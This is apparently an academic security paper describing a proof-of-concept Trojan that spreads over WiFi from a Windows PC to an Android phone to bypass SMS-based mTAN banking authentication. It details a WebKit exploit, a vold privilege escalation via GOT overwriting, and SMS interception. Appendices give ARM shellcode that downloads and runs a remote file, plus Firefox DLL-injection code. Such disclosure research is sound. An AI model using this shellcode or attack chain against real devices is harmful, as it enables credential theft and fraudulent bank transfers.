Abstract. We present a novel stealthy cross-platform infection attack in WiFi networks. Our attack has high impact on two-factor authentication schemes that make use of mobile phones. In particular, we apply our attack to break mTAN authentication, one of the most used scheme for online banking worldwide (Europe, US, China). We present the design and implementation of the online banking Trojan which spreads over the WiFi network from the user’s PC to her mobile phone and automatically pairs these devices. When paired, the host and the mobile malware deliver to the attacker authentication secrets which allow her to successfully authenticate against the online-banking portal and perform financial transactions in the name of the user. Our attack is stealthy compared to the known banking Trojans Zeus/ZitMo and SpyEye/Spitmo, as it does not rely on phishing or naïve user behavior for malware spreading and pairing.

Our reference implementation targets Windows PCs and Android based smartphones, although our attack is not platform specific. To achieve cross-platform infection, we applied and adapted attack techniques such as remote code execution, privilege escalation, GOT overwriting, DLL injection and function hooking. Our attack can be implemented by knowledgeable attackers and calls for re-thinking of security measures deployed for protection of online transactions by banks.

1 Introduction

Online banking has become a popular means for performing banking transactions due to its convenience and low per-transaction costs. A survey by the American Bankers Association reports the percentage of customers preferring online banking over bank branches has grown to 62% in 2011 compared to just 36% in 2010 [8,10].

On the down side, online transactions attract cybercriminals motivated by money theft and other criminal incentives to attack online banking infrastructures. For instance, a recent security report released by Guardian Analytics and McAfee [24] revealed details of a global financial services fraud campaign that started in Europe and has reached the American banking system. Within this campaign, criminals attempted to transfer between EUR 60 million and EUR 2 billion to illegal accounts from at least 60 banks worldwide.

Banks are aiming to mitigate threats of online frauds by adapting more sophisticated security mechanisms. They replace a basic user/password authentication scheme with more advanced two-factor authentication schemes, such as hardware-based authentication tokens (e.g., Chip TAN generator [33]). However, the dedicated hardware tokens have not found wide adaptation in practice due to their poor usability. Users do not find it comfortable to carry an extra hardware token with them, moreover, the user who has accounts in several banks would need a separate token for each account. Much more usable solutions for two-factor authentication make use of a mobile device (such as smartphones or handheld computers) as a hardware token. The advantage of these schemes resides in the fact that these mobile devices are always in the customer’s pocket. Furthermore, the customer can use a single mobile device for many different banks/accounts.

A prevalent example for a two-factor authentication scheme using a mobile phone is the mTAN-based authentication which makes use of a Mobile Transaction Authentication Number (mTAN), a one-time-password
generated by the bank and sent through SMS to the user to authenticate each banking transaction. mTAN-based authentication is used by European banks widely, e.g., by banks in Germany, Spain, Switzerland, Austria, Poland, the Netherlands, Hungary, to name some. Moreover, it is also offered by American\textsuperscript{3} and Chinese\textsuperscript{4} banks to business customers to protect their most sensitive transactions.

Bypassing two-factor authentication schemes using mobile phones is much more challenging compared to the login/password-based authentication. While both need a compromised computer, two-factor schemes additionally require the attacker (i) to gain control over the user’s mobile device, and (ii) to establish pairing between the PC and the mobile phone involved in the same authentication session. While malware for PCs is widespread and even mobile devices become more affected by these attacks\textsuperscript{[25,26]}, device pairing remains a challenging task.

The coupled host/mobile online-banking Trojans ZeuS/ZitMo\textsuperscript{[28]} and SpyEye/Spitmo\textsuperscript{[12]} are the first (very similar) malware families which are able to solve the pairing challenge by means of phishing. They ask the user to enter her mobile phone number into the phishing form displayed on her PC. Further, phishing is also used by these Trojans to infect the mobile phone of the user. Particularly, ZeuS sends the phishing SMS luring the user into downloading and installing ZitMo, the mobile part of the Trojan, while SpyEye displays the phishing message (leading to Spitmo) directly over the malicious PC. While these scenarios may work in practice, relying on interacting with unaware user limits the attack effectiveness, as careful or warned users\textsuperscript{5} may not fall into the phishing trap. Thus, we envision further evolution of malware to become more stealthy and more effective.

We propose a new approach to bypass two-factor authentication using mobile phones in general and mTAN authentication in particular by means of a cross-platform infection. We introduce a novel cross-platform infection attack in WiFi networks, which is, in contrast to previously known cross-platform infection over USB\textsuperscript{[34]}, not relying on additional assumptions such as a modified system image to enable non-default USB drivers on the device, or non-default options set by the user.

Our attack can be applied against other forms of two-factor authentication schemes using mobile phones (e.g.,\textsuperscript{[23,14]}), however, in this paper, we specifically focus on mTAN authentication due to its wide-spread use for online banking.

2 mTAN-Based Two-Factor Authentication

**Actors.** mTAN based authentication scheme involves the following actors: (i) a user \(U\); (ii) a web-server \(B\), (iii) a computer \(C\), and (iv) a mobile device \(M\). The user \(U\) is a customer of the bank, who subscribed for the online banking service. The web-server \(B\) is maintained by the bank and is used to provide online banking services to the customer. The computer \(C\) is either a desktop PC or a laptop used by the user to access the online banking web-site (hosted by \(B\)). The mobile device \(M\) is a user’s mobile device used to receive the mTAN via SMS from the bank.

**Authentication procedure.** The process for mTAN-based authentication is depicted in Figure 1: First, \(U\) authenticates to \(B\) with user credentials \(creds\) (Steps 1-2). When successfully logged in, \(U\) can browse the account details, however, \(U\) cannot perform more sensitive operations, such as money transaction. Those actions have to be additionally authenticated by mTAN. To perform a transaction, \(U\) fills in a transaction form displayed by \(C\) with transaction details, particularly the amount to be transferred \(vol\) and the destination \(dest\) (Step 3). \(C\) sends the transaction request \(TransRequest(vol^*, dest^*)\) to \(B\) (Step 4). Next, \(B\) generates a random \(mTAN\) and sends it together with \(vol^*\) and \(dest^*\) per SMS to \(M\) (Step 5). Upon SMS receive, \(U\) reads SMS (Step 6) and validates if \(\{vol, dest\}\) and \(\{vol^*, dest^*\}\) match. If positive, \(U\) enters the \(mTAN^*\) into the transaction authentication form displayed by \(C\) (Step 7). Finally, \(C\) sends the transaction authentication

---

\textsuperscript{3} E.g., SafePass\textsuperscript{TM}\textsuperscript{[3]} authentication scheme by Bank of America, the largest bank in US with more than 29 million of active online banking users\textsuperscript{[1]}.

\textsuperscript{4} E.g., SMS verification\textsuperscript{[3]} offered by ICBC, the largest Chinese commercial bank with more than 100 million of customers using online banking\textsuperscript{[4]}.

\textsuperscript{5} German Central Board of Credit Institution explicitly warns that using one device for mTAN or entering the phone number in the PC is an "inappropriate" approach for doing online banking\textsuperscript{[15]}.

\textsuperscript{6} Note, that if \(C\) is malicious it can manipulate \(vol\) and \(dest\) to transfer money to the malicious account.
**Fig. 1.** mTAN authentication

\[ \text{AuthTrans}(mTAN^*) \] to B (Step 8). If \( mTAN^* \) received by B matches \( mTAN \) sent in Step 5, the transaction is authenticated.

### 3 Attack on mTAN based Authentication

In this section, we outline our assumptions and describe our attack scenario.

#### 3.1 Assumptions

We assume that the user’s PC has been already infected by malware, while the user’s mobile phone is not yet infected but suffers from a software vulnerability which allows remote code execution. Assuming that the PC is already compromised by malware is reasonable, since two-factor authentication is tailored to tolerate malicious computers. Further, the assumption on the availability of the vulnerability is also reasonable, since exploitable vulnerabilities resulting from the usage of type unsafe languages (e.g., C/C++) are common [18]. Finally, we assume, that both devices of a user get connected to a single WiFi network simultaneously. This scenario is also very likely to happen, as many users utilize wireless LANs (e.g., at home, in hotels, etc.).

#### 3.2 System Model

Our system model includes actors U, M, C and B, as defined for online banking authentication in Section 2. Moreover, it includes a remote malicious server S and a Wi-Fi router R, which provides wireless connection between M and C.

**Attack Scenario.** The general attack scenario can be split into three phases. In the first phase, C steals user’s login and password (creds) and forwards it to S. The second phase involves the cross-platform infection, where the malicious C compromises M. In the third phase, S performs malicious transactions under the name of U. S fills in transaction requests, while M intercepts mTANs and forwards them to S for a successful transaction confirmation.

**Stealing credentials.** To steal the user’s credentials (creds), C waits until U logs into the online banking web-page running on B. During the login procedure, it either eavesdrops on user input (i.e., acts as a keylogger), or reads out information entered into the web-browser login/password form fields (man-in-the-browser attack). Credentials are identified based on the web-address of the online banking page and login and password fields of the authentication form. Upon detection, credentials are forwarded to the remote malicious server S.
Cross-platform infection. To perform a cross-platform infection, C launches an attack in a WiFi network to become a man in the middle between M and R to be able to manipulate the Internet traffic routed from/to the mobile device. For this, different techniques can be used, such as ARP cache poisoning [11] or DHCP starvation attack in conjunction with rogue DHCP server [21]. Next, when the user browses to an arbitrary web-page (Step 1 in Figure 2), the page request is directed to the man in the middle (Step 2). Instead of the requested web-page, C supplies an exploit (embedded in an attacker-crafted web-page) to the victim (Step 3) which injects the malicious code and triggers its execution. Finally, the malicious code needs to perform privilege escalation to gain privileges necessary for SMS interception.

Malicious transaction. The workflow for performing a malicious transaction is depicted in Figure 3. S first uses creds for authentication against B (Step 1). Next, it fills in a transaction form and sends TransRequest(vol, dest) to B (Step 2). B replies with SMS sent to M which includes mTAN, vol and dest (Step 3). M hides SMS from the user and forwards mTAN and victimID to S per SMS (Step 4). Finally, S sends the transaction authentication AuthTrans(mTAN*) message (including the stolen mTAN) to B (Step 5).

Note that the attacker can control user accounts even if control over C is lost (e.g., if host malware has been removed through an anti-virus tool).

4 Implementation and Evaluation

We implemented our attack for Windows 7 Professional and for Android 2.2.1 platforms. We have chosen Android 2.2.1 due to publicly available information on vulnerabilities for this version7.

Note that in this paper we focus on cross-platform infection and bypassing mTAN authentication rather than on discovery of zero-day vulnerabilities.
4.1 Stealing Credentials

Our implementation uses two major techniques to implement credential’s theft: DLL injection and function hooking. DLL injection is a technique to inject a malicious library into the address space of the targeted process and to achieve code execution in its context, while function hooking intercepts function call of interest and redirects it to the malicious function (within the injected DLL) in order to obtain full control over function arguments. We used DLL injection to inject the library into the address space of the Firefox browser, and further applied function hooking to intercept calls targeting PR_Write function in the library nspr4.dll. PR_Write is a perfect target for eavesdropping web-forms, as it is used for writing to file descriptors and is called before any encryption is applied. Hence, any request (including user credentials) is available in plaintext.

To perform function hooking, our malware overwrites the first instructions of the PR_Write function with a jump instruction targeting the malicious function within our injected DLL. Thus, when Firefox invokes PR_Write, the call is redirected to our malicious function which is responsible for filtering credentials, storing them for future use, and sending them to the malicious server. Afterwards, the first instruction of PR_Write is restored, and PR_Write is invoked to preserve the correct functionality of the initial request.

The login request captured by the malicious function is provided in Appendix C.

4.2 Cross-platform Infection

DHCP starvation. To perform the DHCP starvation attack and exhaust IP addresses available at the router’s DHCP server, our malware sends multiple IP requests containing forged MAC addresses. Since the MAC addresses in the different requests differ, the DHCP server assumes they originate from different devices and assigns a unique IP-address for each request.

To make a new request, our malware disables the network interface, sets a new MAC-address and enables the network interface again. Upon start the network interface automatically asks the DHCP-Serv er for an IP address. This procedure is repeated until the DHCP server stops answering requests.

Rogue DHCP server. For the implementation of the rogue DHCP server we reused the source code of DHCP for Windows [2].

Man in the middle. When a mobile device connects to the network and requests an IP address, this request is served by our malicious DCHP server which assigns a valid configuration for this network, but substitutes the correct gateway IP address with its own. As a last step, the malware loads a driver which implements network address translation (NAT) to dynamically forward any HTTP-request to an external or local HTTP-server. This server answers every HTTP-request with a malicious web-page. Our implementation of NAT driver is based on WinkFilter\(^8\) packet filtering framework for Windows.

Remote exploitation. To gain remote code execution on Android 2.2.1 we used a flaw in WebKit, the web-engine of Android’s browser. This flaw is referenced as CVE-2010-1759\(^9\) and is representative of the Use-After-Free memory corruption vulnerability. The vulnerability of this type occurs due to forgotten pointer referencing the memory location after the memory was deallocated. The attempt to access deallocated memory via such a pointer typically results in application crash, because the data at this memory location are invalid or no longer mapped. In our particular case the referenced (and freed) memory contains a C++ Object consisting of different values, including vtable, the virtual function table which contains pointers to virtual functions of that C++ Object. To exploit the vulnerability and achieve code execution, the attacker has to initialize this memory location with his/her own C++ object, and to call a virtual method of the freed object via the forgotten pointer. Particularly, the attacker has to develop a malicious JavaScript, which performs the following tasks: (i) creates two objects each holding a reference to the same object; (ii) forces one of the created objects to free the referenced object, but retain the second reference; (iii) overwrites

\(^8\) http://www.ntkernel.com/w&p.php?id=7
\(^9\) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1759
the function pointer of the freed object with own value pointing to the memory location under adversarial control; (iv) invokes usage of the object referencing the freed memory location to achieve code execution.

For our implementation we reverse engineered and adapted the exploit in [6]. Particularly, we re-used the code for JavaScript, but had to adjust script parameters and to write a new shellcode. In the following, we provide a detailed description of JavaScript\(^{10}\) and the shellcode.

To develop the exploit payload on JavaScript, one has to overcome a number of difficulties. First of all, JavaScript does not provide direct methods for deallocating the memory. The objects are freed by the garbage collector, and there is no explicit way to trigger garbage collector from the JavaScript code. In our case, garbage collection is invoked indirectly by allocating a huge amount of objects, misusing the fact that the garbage collector is triggered after allocation of a certain amount of objects.

Another problem is related to memory allocation optimizations. WebKit uses a custom memory allocator TCMalloc \(^{20}\) which allocates a large amount of memory from the OS and then performs own memory management to facilitate memory allocation/deallocation. This fact imposes additional challenges to the attacker, as generally a single memory buffer allocated by TCMalloc can be split into the smaller memory chunks distributed over physical memory. To enforce allocation of the single large chunk, the attacker has to allocate unique strings, as these are stored by WebKit in a single memory chunk to preserve correct string parsing.

The third difficulty is to identify the memory location of the object to overwrite in the heap. There is no way to predict the exact address, as TCMalloc can allocate the same objects at different memory locations at different runs. To evade this problem, the exploit uses a *heap-spraying* technique \(^{32}\), which sprays the malicious payload all over the heap to raise the possibility that it will be used by the vulnerable code. It involves also the usage of NOP-sleds, which are sequences of NOP (no-operation) instructions, followed by the actual code the attacker wants to execute. Particularly, the NOP sled used by our exploit consists of NOP instructions which are at the same time a memory address in a heap likely holding the address of the shellcode. For instance, the value \(\%u5200%u5200\) is interpreted as \(\text{subeqs } r0, r2, r2, \text{asr } r0\) which is a conditional subtraction and is equivalent to NOP if \(Q5\) is not set. At the same time, the address \(0x00520052\) is pointing into a heap memory and it is very likely that it holds the NOP-sled followed by a payload.

Our malicious payload (or shellcode) downloads a malicious executable over the network from a predefined server and stores it in the private directory of the browser. We provide the details of our malicious payload in Appendix A. Next, the shellcode performs privilege escalation to gain root access, as discussed further.

### 4.3 Local Privilege Escalation

To obtain root privileges, we used *CVE-2011-1823*\(^{11}\) vulnerability in Android’s volume manager daemon *vold*\(^{12}\). The vulnerability enables an attacker to write arbitrary four bytes in an arbitrary memory position. We used this vulnerability to overwrite a global offset table (GOT) entry with another pointer and to invoke code execution (such a technique is known as GOT overwriting \([33]\)).

---

\(^{10}\) Note that such a description is not available at the original exploit source [6].

\(^{11}\) [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1823](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1823)

\(^{12}\) The same vulnerability is used by Gingerbreak [13].
GOT contains references to library function addresses the program aims to use. At runtime, a program does not call library functions directly, but invokes a trampoline code in the procedure linkage table (PLT) instead, which makes use of pointers stored in GOT in order to resolve runtime function addresses. When one of the pointers in GOT is overwritten, the attacker can enforce invocation of the corresponding function to achieve code execution.

```c
void DirectVolume::handlePartitionAdded(const char *devpath,
    NetlinkEvent *evt) {
int major = atoi(evt->findParam("MAJOR"));
int minor = atoi(evt->findParam("MINOR"));
int part_num;
const char *tmp = evt->findParam("PARTN");
if (tmp) {
    part_num = atoi(tmp);
    [..]
    if (part_num > mDiskNumParts) {
        mDiskNumParts = part_num;
    }
    [..]
    mPartMinors[part_num - 1] = minor;
    [..]
}
```

Listing 1.2. Vulnerable code in void

The code which contains the vulnerability is shown in Listing 1.2 (more specific, in line 15). The code is vulnerable, because `part_num` is not checked for negative values (only top boundary is enforced at line 11). The attacker can supply `PARTN` and `MINOR` parameters to the program. `mPartMinors` is a part of an object lying in the heap at a fixed position. Further, the memory layout of `void` is organized in such a way that the executable (and therefore also the GOT of the binary) is loaded below the heap, as depicted in Listing 1.3. Thus, it is possible to supply negative `PARTN`, such that `mPartMinors[part_num - 1]` points to the GOT entry. We supply negative `PARTN` so that it overwrites GOT entry of the `atoi()` function, while `MINOR` holds a value to be written, particularly the pointer of function `system()` in our case. This allows us to overwrite the pointer of `atoi()` with the pointer of `system()`.

```
00008000–00014000 r–xp 00000000 1f:03 644 /system/bin/void
00014000–00015000 rwxp 00000000 1f:03 644 /system/bin/void
00015000–0001b000 rwxp 00000000 00:00 0 [heap]
```

Listing 1.3. Memory layout of void process

To achieve execution of the malicious code delivered with the WebKit exploit, we invoke the vulnerable code again and supply the path to the binary in `PARTN` parameter. When `atoi(tmp)` is called (at line 9), it invokes `system(path/to/binary)`, thus our malicious code is executed.

After successfully gaining root privileges the malware copies itself on the system partition of Android. Next, it sets the `setuid`-flag which allows the executable to run with the permissions of the executable’s owner. Further, it takes care that it survives device reboots. For this, it adds an additional DHCP configuration script invoking the malware. DHCP scripts are executed every time upon startup of the the DHCP-client[^13], also short after system reboot. Although these scripts are not executed as root, the malware can still elevate its privileges due to the set `setuid`-flag.

### 4.4 Malicious Transactions

We implemented a simple management protocol between a malicious server and mobile malware which can be run over SMS. The malicious server can enable/disable listening for mTAN messages and specify own phone number (to be able to receive SMS messages), while the mobile phone can forward the intercepted mTAN.

To initiate online transactions, a malicious user logs into the web-page of the online banking server by using credentials of the legitimate user stolen by the host malware. Next, she sends a management SMS to

the mobile device switching it into the listening mode. Further, she fills in and sends transaction forms to
the bank. When the bank sends mTAN, it is intercepted by the mobile malware, which forwards it (with
enclosed victimID) to a pre-defined malicious number (per SMS). Upon receiving the intercepted SMS, the
malicious user fills in mTAN into the web-page to confirm the transaction. Finally, the malicious user sends
the control SMS to the mobile phone to disable listening mode (which is necessary to allow the user to receive
mTANs from the bank for legitimate transactions).

**SMS interception.** To intercept SMS, we leverage the approach used by [27] for SMS fuzzing. In general,
our malware acts as a man in the middle between the modem and the telephony stack of Android. We
achieve this as follows: First, the malware renames the device associated with the GSM-modem /dev/smd0
to /dev/smd0r and creates a pseudo terminal named /dev/smd0. Next, it restarts the radio interface layer
daemon rild which is the Android component to communicate to the GSM-modem. When restarted, rild
opens /dev/smd0 device for communication, which points to a pseudo terminal instead of the real GSM-
modem. By constantly forwarding each read/write message from/to the pseudo terminal to the real GSM-
modem device and vice versa, the malware has full control over the communication. The communication
between the GSM-modem and Android is based on AT-commands [16]. Whenever the malware reads the
command for an incoming SMS it decodes the received message and scans it for keywords which indicate an
mTAN. If such a keyword is detected, the malware does not write the received SMS to the pseudo terminal
(so that the user does not notice the received message), but forwards the mTAN to the attacker.

### 4.5 Evaluation

For the evaluation of our malware we developed a bank simulator software. For the development of the
simulator we used Apache web-server and php scripts. For the implementation of the SMS functionality by
the bank we utilized the SMS gateway service\(^\text{14}\). We successfully evaluated the functionality of our malware
against our simulated online banking web-site\(^\text{15}\).

### 5 Related Work

#### 5.1 Attacks on mTAN Authentication

Koot [22] investigates possibilities for the attacker to identify PCs and mobile devices belonging to the same
user, which is necessary for bypassing mTAN authentication in a case the attacker has control over a large
number of compromised computers and mobile devices. The mapping can be done based on some user-unique
information (such as e-mail address) which can be identical on both devices. In contrast, our attack scenario
makes such a mapping during cross-platform infection, as it is very likely that devices in the same WiFi
network belong to the same user. Schartner et al. [31] present an attack against mTAN-based authentication
for the case when a single device, the user’s mobile phone, is used for online banking. The presented attack
scenario is relatively straightforward as the assumption on usage of a single device eliminates challenges such
as cross-platform infection or a mapping of devices to a single user.

#### 5.2 Cross-Platform Infection

A first malware spreading from smartphone to PC was discovered in 2005 and targeted Symbian OS [17].
Infection occurred as soon as the phone’s memory card was plugged into the computer. Another example of
cross-platform infection in the direction from PC to the mobile phone is a proof-of-concept malware
which had been anonymously sent to Mobile Antivirus Research Association in 2006 [19,30]. The virus
affected Windows desktop and Windows Mobile OSes and spread as soon as it detected a connection using
Microsoft’s ActiveSync synchronization software. Another well-known cross-platform infection attack is a
sophisticated worm Stuxnet [29] which spreads via Microsoft Windows and targets industrial software and
equipment.

\(^{14}\) [http://www.smstrade.eu/](http://www.smstrade.eu/)

\(^{15}\) Due to ethical reasons we do not present evaluation results against online banking web-portals of real banks.
Wang et al. [34] investigated phone-to-computer and computer-to-phone attacks over USB targeting Android. They report that a sophisticated adversary is able to exploit the unprotected physical USB connection between devices in both directions. However, their attack relies on additional underlying assumptions, such as modifications in the kernel to enable non-default USB drivers on the device, and the requirement on non-default options to be set by the user. In contrast, our cross-platform attack affects devices with stock firmware and default configuration.

5.3 Infection in WiFi Networks
The known attacks in public WiFi networks are malicious WiFi access points [9] that advertise free Internet access, or ad-hoc peers advertising free public WiFi [7]. When a victim connects to such a network, it gets infected and may start advertising itself as a free public WiFi to spread infection further. In contrast to our scenario, this attack mostly affects WiFi networks in public areas and targets devices of other users rather than a second device of the same user. Moreover, it requires an active user interaction to join the discovered WiFi network. Finally, the infection does not spread across platforms (i.e., from PC to mobile or vice versa), but rather affects similar systems.

6 Conclusion
We proposed a novel approach for breaking two-factor authentication using mobile phones via cross-platform infection over WiFi. When applied against two-factor authentication schemes using mobile phones and particularly against mTAN authentication, the widely used scheme for online banking authentication in Europe, our attack achieves infection of the mobile device and establishes pairing between devices involved in the same authentication session. Our attack against mTAN authentication is stealthy, in contrast to existing online banking malware.

We provide a reference implementation of our attack against mTAN authentication targeting Windows (host) and Android (mobile) platforms. Our implementation adapts sophisticated, but known attack techniques such as remote exploitation of a memory vulnerability in the heap, local root exploit for privilege escalation, DLL injection and function hooking for stealing user's credentials, and the man-in-the-middle attack to intercept SMS on Android device. Our proof-of-concept implementation demonstrates that the attack is affordable and can be implemented by knowledgeable attackers.

References
15. Bankenverband: ZKA: Auch mit mobiler TAN beim Online Banking sorgfältig umgehen - Deutsche Kredit-
18. CVE International: Common vulnerabilities and exposures. The standard for information security vulnerability
23. Mann, M., Van Oorschot, P.C.: Using a personal device to strengthen password authentication from an untr

Appendix A Shellcode

The following shellcode connects to IP:port and writes received data into "/data/data/com.android.browser/root". When connection is closed by the server, the shellcode tries to execute the downloaded file.
.global _start
_start:

_socket:
  @ r0 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  mov r0, #2 @ AF_INET
  mov r1, #1 @ SOCK_STREAM
  mov r2, #6 @ IPPROTO_TCP
  mov r7, #200
  add r7, r7, #81 @ 281 = sys_socket
  svc 0x80 @ int 0x80

  mov r5, r0 @ save socket descriptor

_connect:
  @ connect(r0, (struct sockaddr *) &server, sizeof(struct sockaddr_in))
  adr r1, server @ &server
  mov r2, #16 @ sizeof(struct sockaddr_in)
  mov r7, #200
  add r7, r7, #83 @ 281 = sys_connect
  svc 0x80

_open:
  @ open("/data/data/com.android.browser/root", O_CREATE | O_WRONLY, 777)
  adr r0, path @
  mov r1, #101 @ O_CREATE | O_WRONLY
  mov r2, #0x1F
  mov r2, r2, lsl #4
  add r2, r2, #0x1F @ 0x1ff = 777
  mov r7, #5 @ sys_open
  svc #0x80

  mov r6, r0 @ save file descriptor

_read:
  @ read(socket, buf, 16)
  @ r5 = socket
  @ r6 = file
  mov r0, r5 @ socket
  mov r1, sp @ buf
  mov r2, #16 @ sizeof(buf)
  mov r7, #5 @ sys_read
  svc #0x80

  sub r1, r1, r1
  cmp r0, r1
  beq _close @ no more byte -> close

  @ write(file, buf, sizeof(buf))
  mov r2, r0 @ sizeof(buf)
  mov r1, sp @ buf
  mov r0, r6 @ file
  mov r7, #4 @ sys_write
  svc #0x80

  b _read

_close:
  @ close(file);
  mov r0, r6 @ file
  mov r7, #6 @ sys_close
  svc #0x80

  @ close(socket);
  mov r0, r5 @ socket
  mov r7, #6 @ sys_close
  svc #0x80

_execve:
  @ execve([path, NULL][0], [path, NULL], 0);
  adr r0, path @ path
  sub r2, r2, r2
  push {r0, r2}
  mov r1, sp @ [path, NULL]
  mov r7, #11 @ sys_execve
  svc #0x80

_exit:
  @ exit(0)
  mov r7, #0x1 @ sys_exit
Listing 1.4. Shellcode

Appendix B  DLL injection

Listing 1.5 illustrates the code for DLL injection into the address space of Firefox browser.

```
HANDLE hProcList;
PROCESSENTRY32 pe32;
char dll_path[1024];
HANDLE hFF = NULL;
HANDLE hMem;
int bwr;

printf("[+] found firefox: %d\n", pe32.th32ProcessID);

hFF = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);

hMem = VirtualAllocEx(hFF, NULL, strlen(dll_path), MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hFF, hMem, dll_path, strlen(dll_path), &bwr);

CreateRemoteThread(hFF, NULL, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),
"LoadLibraryA"), hMem, 0, NULL);```

Listing 1.5. DLL-Injection

First, the Firefox process is opened by calling OpenProcess. Next, the address space in its process is allocated by calling VirtualAllocEx. Further, the path of the malicious library is written into this memory using WriteProcessMemory. Finally, CreateRemoteThread is called with the parameter LoadLibraryA to load our malicious library.

Appendix C  Captured Login Request

POST /lp/wt/Y29tZGlyZWN0 HTTP/1.1
Host: kunde.******.de
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;en;q=0.5
Accept-Encoding: gzip, deflate

Listing 1.6. Captured login request

```
Connection: keep-alive
Referer: https://kunde.******.de/lp/wt/login
Cookie: qSession=-130.83.*.*.*; AdvertisingId=000016860000000TS00000000000000#1345636729; secondDelay=1; kunde=2755714782.47873.0909
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

submitaction=login&page=&param1=USERNAME&param2=secretPIN&direktzu=******```